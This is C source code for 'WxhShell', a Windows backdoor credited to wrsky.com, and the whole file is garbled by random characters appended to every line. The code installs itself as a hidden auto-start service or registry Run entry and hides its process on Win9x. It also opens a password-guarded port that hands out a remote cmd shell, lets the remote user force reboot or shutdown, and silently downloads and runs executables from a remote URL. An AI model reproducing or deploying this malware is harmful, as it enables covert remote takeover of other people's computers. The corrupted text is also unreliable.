  // 关机 j'v2m6/  
  case 'd': { xeZ,}YP)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A]W`r}  
    if(Boot(SHUTDOWN)) ?-Oy/Y K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2pZ|+!xc+  
    else { 6\ (\  
    closesocket(wsh); $Y>LUZ)b&8  
    ExitThread(0); v k<By R  
    } ;ML21OjgN  
    break; .( 75.^b2)  
    } 2#p6.4h=  
  // 获取shell rq+E"Uj?  
  case 's': { )x8Izn  
    CmdShell(wsh); P1)9OE  
    closesocket(wsh); S_1R]n1/  
    ExitThread(0); $+ lc;N  
    break; 5a_1x|Fhi  
  } Dy5'm?  
  // 退出 ++5So fG@  
  case 'x': { vrQ/Yf:\B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E{1O<qO<  
    CloseIt(wsh); m+,a=sR  
    break; ix6j=5{  
    } <Ms,0YKx  
  // 离开 3~"G27,  
  case 'q': { cgml^k\k^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c:4 i&|n  
    closesocket(wsh); "Bn!<h}mg  
    WSACleanup(); :+Y+5:U]  
    exit(1); CH!Lf,G  
    break; 7H9&\ur9+  
        } "1WwSh}Z  
  } /tDwgxJ  
  } 4IIe1 .{  
x2(hp  
  // 提示信息 F0])g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sBB>O@4  
} \za 0?b  
  } ]qvrpI!E!  
QGn3xM66  
  return; 9qIjs$g  
} w}X<]u  
/ 9^:*,  
// shell模块句柄 FUiEayM  
int CmdShell(SOCKET sock) 0LeR#l:I  
{ Z;-=xp  
STARTUPINFO si; |*K AqTO0  
ZeroMemory(&si,sizeof(si)); IP9mv`[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Xu2:yf4No*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "NMX>a,(  
PROCESS_INFORMATION ProcessInfo; `[X5mEe  
char cmdline[]="cmd"; :$L^l{gT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +?DP r  
  return 0; MZl6 J  
} ^ yyL4{/  
vYcea  
// 自身启动模式 NirG99kyo  
int StartFromService(void) r[ni{ &  
{ ot8UuBq  
typedef struct Z vM~]8m  
{  MV'q_{J  
  DWORD ExitStatus; h3[^uY e  
  DWORD PebBaseAddress; f#FAi3  
  DWORD AffinityMask; n&y'Mb PB  
  DWORD BasePriority; a=]tqV_  
  ULONG UniqueProcessId; N7=lSBm  
  ULONG InheritedFromUniqueProcessId; w|lA%H7`J  
}   PROCESS_BASIC_INFORMATION; 4$~eG"wu  
{mr!E  
PROCNTQSIP NtQueryInformationProcess; Nb(c;|nV  
j0_)DG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bwG$\Oe6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Na=.LW-ma=  
IT!u4iH[  
  HANDLE             hProcess; Utd`T+AF*  
  PROCESS_BASIC_INFORMATION pbi; r01Z 0>  
!Z]#1"A8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lkl+o&D9  
  if(NULL == hInst ) return 0; td@I ;d2  
3k3-Ts  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /Ps/m!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8A'oK8Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); QM wrt  
3)cH\gsg9  
  if (!NtQueryInformationProcess) return 0; AAuH}W>n  
0wQ'~8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X\sOeb:]  
  if(!hProcess) return 0; YS],o'T  
C&wp*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $`;1][OD  
r}T(?KGx  
  CloseHandle(hProcess); icS% ])3LF  
?V&# nA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s3<gq x-&r  
if(hProcess==NULL) return 0; W2yNwB+{  
nM#/uuRl|  
HMODULE hMod; eO%w i.Q  
char procName[255]; #$n >+ lc  
unsigned long cbNeeded; gV~_m  
^hZZ5(</8P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w eX%S&#?  
DL<b)# h#  
  CloseHandle(hProcess); ,! b9  
#w]UP#^io  
if(strstr(procName,"services")) return 1; // 以服务启动 y Ny,$1  
H. o=4[  
  return 0; // 注册表启动 BLaF++Fop  
} uE E;~`G  
ERTjY%A  
// 主模块 }B1f_T  
int StartWxhshell(LPSTR lpCmdLine) yrvV<}  
{ AcHr X=O  
  SOCKET wsl; aoqG*qh}b  
BOOL val=TRUE; [Z]%jABR  
  int port=0; \0 j-p   
  struct sockaddr_in door; 2 Sgv  
Oz{FM6  
  if(wscfg.ws_autoins) Install(); Z; 6N7U  
qzk!'J3*r<  
port=atoi(lpCmdLine); "~2SHM@q  
?COLjk  
if(port<=0) port=wscfg.ws_port; zy'e|92aO  
E5iNuJj=f  
  WSADATA data; 1L;3e@G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .o#A(3&n  
nQ+$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v]h^0WU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +khVi}  
  door.sin_family = AF_INET; CXiDe)|<E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V*6o|#  
  door.sin_port = htons(port); h[ cqa  
tn 38T%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u7nTk'#r  
closesocket(wsl); He9Er  
return 1; #=uV, dw  
} mswAao<y&x  
vC^Ul  
  if(listen(wsl,2) == INVALID_SOCKET) { QtHK`f>4#n  
closesocket(wsl); [zJ|61^  
return 1; tqD=)0Uzs  
} ls({{34NF  
  Wxhshell(wsl); _s18^7  
  WSACleanup(); `(uN_zvH  
ZyX+V?4  
return 0; N(J'h$E  
6w `.'5  
} ]!>tP,<`'  
H-iCaXT  
// 以NT服务方式启动 Nr"gj$v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A$3ll|%j  
{ W"!{f  
DWORD   status = 0; hsAk7KC  
  DWORD   specificError = 0xfffffff; sa?s[  
.^xQtnq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {ui{Yc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bn:74,GeyK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U<|*V5   
  serviceStatus.dwWin32ExitCode     = 0; mrQT:B\8  
  serviceStatus.dwServiceSpecificExitCode = 0; ~K@p`CRbV  
  serviceStatus.dwCheckPoint       = 0; H0\' ,X  
  serviceStatus.dwWaitHint       = 0; @$fvhEkrT@  
 CH$K_\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kO/YO)g  
  if (hServiceStatusHandle==0) return;  )mH(Hx  
'YB{W8bR  
status = GetLastError(); }SFmv},Ij  
  if (status!=NO_ERROR) 8b"vXNB.f  
{ ':|E$@$W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,7Dm p7  
    serviceStatus.dwCheckPoint       = 0; Q k2*=BVh  
    serviceStatus.dwWaitHint       = 0; nx Jx8d"  
    serviceStatus.dwWin32ExitCode     = status; f5z*AeI  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2)Q%lEm`SP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;TKsAU  
    return; R8>17w.  
  } X`C ozyYuD  
;w;+<Rd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $}EI3a  
  serviceStatus.dwCheckPoint       = 0; V]Kk =  
  serviceStatus.dwWaitHint       = 0; 0DaKd<Scv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0 s@>e  
} D}rnp wp{  
N C3XJ 4  
// 处理NT服务事件,比如:启动、停止 W 'PW;.,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =j%ORD[  
{ O[8wF86R  
switch(fdwControl) FI@kE19  
{ -I:L6ft8  
case SERVICE_CONTROL_STOP: =, 64Qbau  
  serviceStatus.dwWin32ExitCode = 0; pmiC|F83!8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <u  ImZC  
  serviceStatus.dwCheckPoint   = 0; _D{{C  
  serviceStatus.dwWaitHint     = 0; %_(^BZd  
  { _xM}*_<VP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lh-+i  
  } Tdxc%'l  
  return; )`#SMLMy~  
case SERVICE_CONTROL_PAUSE: (g>&ov(d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ll ^I ;o0  
  break; a|ZJzuqo  
case SERVICE_CONTROL_CONTINUE: v2ab84 C*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,Vy_%f  
  break; $\aJ.N6rb  
case SERVICE_CONTROL_INTERROGATE: To;r#h  
  break; yPf,GB"  
}; ~X-v@a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |[@v+koq  
} 0?''v>%  
0pBG^I`_  
// 标准应用程序主函数 CN6b 982&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;73{n*a$  
{ `^ )oVs  
v<ati c  
// 获取操作系统版本 m'eM&1Ba  
OsIsNt=GetOsVer(); , _bG'Hmt  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >&JS-j Fg  
^V"08  
  // 从命令行安装 i'`>YX  
  if(strpbrk(lpCmdLine,"iI")) Install(); r@CbhD  
qhmA)AWG>  
  // 下载执行文件 ${tBu#$-d  
if(wscfg.ws_downexe) { s,j=Kym%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L-|u=c-6  
  WinExec(wscfg.ws_filenam,SW_HIDE); VO<P9g$UD  
} -+Z&O?pSH  
loD:4e1  
if(!OsIsNt) { SpM Hq_MLM  
// 如果时win9x,隐藏进程并且设置为注册表启动 36d6KS 7  
HideProc(); yW;]J8 7*  
StartWxhshell(lpCmdLine); lrmz'M'  
} ,[u.5vC  
else lGEfI&1%!  
  if(StartFromService()) 17lc5#^L  
  // 以服务方式启动 Aj+0R?9tG  
  StartServiceCtrlDispatcher(DispatchTable); %.s"l6 W  
else 5ZjM:wrF|  
  // 普通方式启动 RCMO?CBe  
  StartWxhshell(lpCmdLine); ,ysn7Y{Y  
oYX#VX  
return 0; mW#p&{  
} :+ AqY(Gz  
QKh vP>  
tj:>o#D  
O*1la/~m  
=========================================== u:>*~$f   
?ehUGvV2  
(y?`|=G-xT  
wTn"  
\P9HAz'6  
$kh6-y@  
" `%.x0~ ih  
~GjM:*  
#include <stdio.h> B0!W=T\  
#include <string.h> G:;(,  
#include <windows.h> FD^s5>"Y+  
#include <winsock2.h> mg *kB:p  
#include <winsvc.h> A w)P%r  
#include <urlmon.h> "0{t~?ol  
T0BM:ofx  
#pragma comment (lib, "Ws2_32.lib") (C hL$!x  
#pragma comment (lib, "urlmon.lib") p"q4R2_/jh  
tH9BC5+r}  
#define MAX_USER   100 // 最大客户端连接数 `BY&&Bv#?  
#define BUF_SOCK   200 // sock buffer &uxwz@RC0  
#define KEY_BUFF   255 // 输入 buffer Nk shJ2  
%|3NCyJ*7  
#define REBOOT     0   // 重启 z.*=3   
#define SHUTDOWN   1   // 关机 ET q~, g'  
-42jeJS  
#define DEF_PORT   5000 // 监听端口 ?N@p~ *x  
!Baq4V?KN  
#define REG_LEN     16   // 注册表键长度 ysQ8==`38i  
#define SVC_LEN     80   // NT服务名长度 CfjVx   
~[ x}  
// 从dll定义API !S[7IBk%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g/x\#W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G 4 C 7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i)+2? <]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +FYhDB~m  
QfsTUAfR  
// wxhshell配置信息 e[J0+ x#;r  
struct WSCFG { {1]Of'x'  
  int ws_port;         // 监听端口 ZTP&*+d  
  char ws_passstr[REG_LEN]; // 口令 8(0q,7)y  
  int ws_autoins;       // 安装标记, 1=yes 0=no G1:2MPH  
  char ws_regname[REG_LEN]; // 注册表键名 Qrt> vOUE7  
  char ws_svcname[REG_LEN]; // 服务名 ;Z}V}B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GA@Zfcg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O$ ;:5zT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +vCW${U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /(skIvE|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D[R<H((  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xnG,1doa  
3}X;WE `  
}; |%-:qk4rG  
+#R<emW  
// default Wxhshell configuration NQhlb"Ix  
struct WSCFG wscfg={DEF_PORT, S t0AV.N1  
    "xuhuanlingzhe", [)83X\CO  
    1, U^{'"x+  
    "Wxhshell", m' suAj0  
    "Wxhshell", 6GtXM3qtS  
            "WxhShell Service", qlfYX8edZ  
    "Wrsky Windows CmdShell Service", XxEKv=_bc  
    "Please Input Your Password: ", LVp*YOq7  
  1, ]Vgl  
  "http://www.wrsky.com/wxhshell.exe", do(komP<\  
  "Wxhshell.exe" bol#[_~  
    }; ]o\y(!  
j{u! /FD  
// 消息定义模块 1?bX$$y l;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  *$o{+YP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xYCX}bksh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QGV~Y+  
char *msg_ws_ext="\n\rExit."; ? $LKn2C  
char *msg_ws_end="\n\rQuit."; b ZEyP W  
char *msg_ws_boot="\n\rReboot..."; !{L`Zd;C>w  
char *msg_ws_poff="\n\rShutdown..."; +yd(t}H@  
char *msg_ws_down="\n\rSave to "; BKQI|i  
-wjvD8fL  
char *msg_ws_err="\n\rErr!"; UP}5Eh  
char *msg_ws_ok="\n\rOK!"; yp:_W@  
ONw;NaE,  
char ExeFile[MAX_PATH]; jPf*qe>U  
int nUser = 0; fUg I*V  
HANDLE handles[MAX_USER]; QR;E>eEq  
int OsIsNt; 'Nbae-pf  
O[[#\BL  
SERVICE_STATUS       serviceStatus; s`:-6{E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KW.QVBuVO#  
+]%d'h  
// 函数声明 4_w+NI,;  
int Install(void); &18CCp\3)c  
int Uninstall(void); __,1;=  
int DownloadFile(char *sURL, SOCKET wsh); 1 k}U+  
int Boot(int flag); HrZ\=1RB  
void HideProc(void); #}rv)  
int GetOsVer(void); GKNH{|B$D  
int Wxhshell(SOCKET wsl); ?E?dg#yk  
void TalkWithClient(void *cs); $G5;y>  
int CmdShell(SOCKET sock); @i[z4)"S  
int StartFromService(void);  `9  
int StartWxhshell(LPSTR lpCmdLine); &k+'TcWm  
,Si23S\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $MEKt}S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t3)nG8> )  
j&. MT@  
// 数据结构和表定义 FaNH+LPe  
SERVICE_TABLE_ENTRY DispatchTable[] = )TBG-<wt  
{ \e/'d~F  
{wscfg.ws_svcname, NTServiceMain}, XHu2G t_  
{NULL, NULL} t$z FsFTQ  
}; D$RQD{*  
9 1r"-%(r  
// 自我安装 ^p0BeSRiy;  
int Install(void) #Pz},!7  
{ iraO/KhD*3  
  char svExeFile[MAX_PATH]; bS+by'Ea1W  
  HKEY key; Et=N`k _gO  
  strcpy(svExeFile,ExeFile); FSqS]6b3  
. ` OdnLGy  
// 如果是win9x系统,修改注册表设为自启动 I =t{ u;  
if(!OsIsNt) { Zq--m/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ny>tJ~I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P!{ O<P  
  RegCloseKey(key); I T)rhi:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i[~oMwc&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b0 CtQe  
  RegCloseKey(key); P{eL;^I  
  return 0; hY.zwotH  
    } |-hzvuSX  
  } #KonVM(`  
} rlvo&(a  
else { T6|zT}cb  
O7shY4Sr  
// 如果是NT以上系统,安装为系统服务 T3o}%wGW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'Dq!o[2y  
if (schSCManager!=0) BC0T[o(f8  
{ x8 sSb:N  
  SC_HANDLE schService = CreateService (L?fYSP!  
  ( yFT)R hN  
  schSCManager, "$? f&*  
  wscfg.ws_svcname, X$zlR) Re  
  wscfg.ws_svcdisp, i!jZZj-{  
  SERVICE_ALL_ACCESS, k=<,A'y-/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \d0R&vFHQ  
  SERVICE_AUTO_START, Z~t OR{q  
  SERVICE_ERROR_NORMAL, "qRE1j@%a  
  svExeFile, T1p A <6  
  NULL, xD;5z`A3  
  NULL, A+T! DnVof  
  NULL, zLlu% Oc  
  NULL, M?4)U"_VE  
  NULL Vc3tKuMsiX  
  ); c,1Yxg]|  
  if (schService!=0) ?Ovl(4VG  
  { cbl2D5s+i]  
  CloseServiceHandle(schService); (z0S5#g ,x  
  CloseServiceHandle(schSCManager); o[Yxh%T  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Da!A1|"  
  strcat(svExeFile,wscfg.ws_svcname); ~ jb6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #]i*u1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3u7N/OQ(  
  RegCloseKey(key); edqekjh  
  return 0; 8 kw`=wSH>  
    } [Z484dS`_  
  } rS>JzbWa  
  CloseServiceHandle(schSCManager); Z;bzp3v  
} =N`"%T@=  
} c~(+#a  
3~\mP\/4v  
return 1; \iAkF`OC  
} rLNo7i  
g*b`V{/Vw  
// 自我卸载 ] 5lp.#EB  
int Uninstall(void) k+2~=#  
{ mvI[=e*  
  HKEY key; w4 <FC$  
oBr/CW  
if(!OsIsNt) { vBUx )l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RF 4u\ \  
  RegDeleteValue(key,wscfg.ws_regname); (bi}?V*  
  RegCloseKey(key); S*6P=O*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1Tf"<D p  
  RegDeleteValue(key,wscfg.ws_regname); pGz-5afL  
  RegCloseKey(key); yc2c{<Ya5  
  return 0; * c] :,5  
  } D0tmNV@  
} U7.3`qd"  
} gk\IivPb  
else { [y| "iSD  
GFOd9=[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !@!,7te  
if (schSCManager!=0) 0&Q-y&$7  
{ 3(':4Tas  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C)`k{(-{  
  if (schService!=0) n4+l, ~  
  { 0.C y4sH'  
  if(DeleteService(schService)!=0) { *,~d!Fc  
  CloseServiceHandle(schService); S1&mY'c  
  CloseServiceHandle(schSCManager); dJM)~Ay-  
  return 0; wp`a:QZ8N  
  } ["4h%{.  
  CloseServiceHandle(schService); 3(G}IWPq<  
  } Y"~I(,nx!  
  CloseServiceHandle(schSCManager); ^ElUU?rX  
} W F<`CQg[  
} 40N8?kQ}?  
5BCXI8Ox9x  
return 1; EAU6z(X$  
} yf+M  
.`& ($W  
// 从指定url下载文件 V*rAZ0  
int DownloadFile(char *sURL, SOCKET wsh) Cfu]umZLn  
{ tgH@|Kg  
  HRESULT hr; y^tuybpZY<  
char seps[]= "/"; Qx|m{1~-  
char *token; <Yu}7klJE  
char *file; twU^ewO&  
char myURL[MAX_PATH]; ";yCo0*  
char myFILE[MAX_PATH]; Io*`hA]  
4bqi&h3  
strcpy(myURL,sURL); H#x=eDU|k  
  token=strtok(myURL,seps); \Q<c Y<  
  while(token!=NULL) 7OX5"u!2  
  { PI(;t9]b  
    file=token; qz"di~7  
  token=strtok(NULL,seps); e )l<D)  
  } ^AtAfVJN0  
+0\BI<aG  
GetCurrentDirectory(MAX_PATH,myFILE); ]7n+|@3x  
strcat(myFILE, "\\"); ,j^ /~  
strcat(myFILE, file); "S.5_@?  
  send(wsh,myFILE,strlen(myFILE),0); | ?3\xw  
send(wsh,"...",3,0); RUUV"y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZIQy}b'  
  if(hr==S_OK) `q7O\  
return 0; m8;; O  
else 6lOT5C eJ"  
return 1; 1X2MhV  
!`L%wS  
} 0Lmq?D  
9F)+p7VJq  
// 系统电源模块 n#Xi Co_\  
int Boot(int flag) "hi?/B#d  
{ ?47q0C  
  HANDLE hToken; x zu)``?  
  TOKEN_PRIVILEGES tkp; VV O C-:  
P:vAU8d>  
  if(OsIsNt) { {/G~HoY1i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )WavG1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 13wO6tS k  
    tkp.PrivilegeCount = 1; Aq%TZ_m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; __M(dN(^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +<7~yZ[Z8  
if(flag==REBOOT) {  u)PB@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #4iSQ$0  
  return 0; m`gH5vQa  
} e/JbRbZX  
else { 5xe} ljo  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &?flH;  
  return 0; L,c@Z@  
} r18eu B%  
  } reJw&t}Q  
  else { Z8*E-y0  
if(flag==REBOOT) { lJ;7sgQ#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ste0:.*qb  
  return 0; Jt5\  
} <VI.A" Qk~  
else { (CFm6p'RZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZN#mu]jC?  
  return 0; cO%-Av~P  
} N|-M|1w96  
} n4,b?-E>(  
_0dm?=  
return 1; &SuWmtq  
} 9`  
`~0)}K.F  
// win9x进程隐藏模块 5e=9~].7  
void HideProc(void) Hy=';Ccn}  
{ 7pf]h$2  
/W\@/b,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q`- JRY-  
  if ( hKernel != NULL ) 5r)ndW,aN  
  { @-=0T!/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1"tyxAo\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Pj(Dl C7G,  
    FreeLibrary(hKernel); c-1,((p  
  } OQ>8Q`  
Z$ q{!aY  
return; `&y Qtj# '  
} 3NU{7,F  
# 4UKkd  
// 获取操作系统版本 mU@pRjq=  
int GetOsVer(void) UW%zR5q  
{ 1;8=,&  
  OSVERSIONINFO winfo; D! TFb E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +l'l*<  
  GetVersionEx(&winfo); ]S!:p>R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M ,!Dhuas  
  return 1; 7L3:d7=MIW  
  else ]e`&py E  
  return 0; C#<b7iMg  
} 8Ld{Xg  
SQ&nQzL  
// 客户端句柄模块 <&JK5$l<X  
int Wxhshell(SOCKET wsl) &%eWCe+ +  
{ @GTkS!86  
  SOCKET wsh; +I~`Ob  
  struct sockaddr_in client; [ye!3h&]  
  DWORD myID; b)ytm=7ha  
^#-d^ )f;  
  while(nUser<MAX_USER) *UL++/f  
{ ~4gOv  
  int nSize=sizeof(client); *iLlBE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z*uv~0a>9Q  
  if(wsh==INVALID_SOCKET) return 1; I_h u s  
K9-;-{qb  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AzFd#P  
if(handles[nUser]==0) 8(d Hn  
  closesocket(wsh); 0QJ :  
else 7\(m n$  
  nUser++; :c75*h`  
  } rdj_3Utv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fv@mA--  
]k+XL*]'A  
  return 0; S+wy^x@@  
} YkWv*l  
a ]~Rp  
// 关闭 socket ]'IZbx:  
void CloseIt(SOCKET wsh) bsCl w  
{ 287g 5  
closesocket(wsh);  SXqWq  
nUser--; FR*CiaD1  
ExitThread(0); &~4;HjS  
} }+mIP:T  
r_R( kns  
// 客户端请求句柄 xA7>";sla[  
void TalkWithClient(void *cs) (U_`Q1Jo  
{ +lYo5\1=  
uX/K/4  
  SOCKET wsh=(SOCKET)cs; JRgrg &#  
  char pwd[SVC_LEN]; |)TI&T;k  
  char cmd[KEY_BUFF]; ~,Y xUn8@  
char chr[1]; f%,Vplb  
int i,j; WZ@hP'Zc  
I1f4u6\*X  
  while (nUser < MAX_USER) { }xx"  
,5*Z<[*  
if(wscfg.ws_passstr) { ) wZ;}O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L<D<3g|4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "FD`1  
  //ZeroMemory(pwd,KEY_BUFF); \p4>onGI  
      i=0; =Ff _)k  
  while(i<SVC_LEN) { ZYS`M?Au  
bm>N~DC  
  // 设置超时 {UeS_O>(  
  fd_set FdRead; lIhP\:;S&  
  struct timeval TimeOut; g49G7sk  
  FD_ZERO(&FdRead); I3I1<}>]Z  
  FD_SET(wsh,&FdRead); Yamu"#  
  TimeOut.tv_sec=8; X&LaAqlSG  
  TimeOut.tv_usec=0; 8_W=)w6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8(3n v[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]3D>ai?  
gPE` mE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F>F2Yql&W  
  pwd=chr[0]; ']bw37_U,  
  if(chr[0]==0xd || chr[0]==0xa) { ! V^wq]D2  
  pwd=0; 4 EE7gkM5  
  break; :  I q  
  } A4~- {.w=  
  i++; |l-~,eRvi5  
    } 8NZQTRdH  
J#'8]p3E  
  // 如果是非法用户,关闭 socket }AW"2<@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  Y+d+  
} OA7YWk<K  
9}|x N8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5FJ(x:k?z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eG_@WLxwD  
=?3b3PZn  
while(1) { IRknD3LX  
wPE\?en  
  ZeroMemory(cmd,KEY_BUFF); 88&M8T'AP  
]qd$rX   
      // 自动支持客户端 telnet标准   &wa2MNCG8  
  j=0; c 8t  
  while(j<KEY_BUFF) { Y&uwi:_g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h}y]Pt?  
  cmd[j]=chr[0]; Zxw cqN  
  if(chr[0]==0xa || chr[0]==0xd) { @=ro/.  
  cmd[j]=0; eF"k"Ckt'  
  break; Yi?v |H<a  
  } 5i@WBa  
  j++; 9,?7mgZ p  
    } un F=";9H  
bu8AOtY9E-  
  // 下载文件 5La' I7q  
  if(strstr(cmd,"http://")) { `nCVO;B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O#@G .~n?  
  if(DownloadFile(cmd,wsh)) :Ahw{z`H#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9u;/l#?@T  
  else fi~jT"_CI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,W|cyQ  
  } 7>V*gV?v  
  else { /UqIkc  
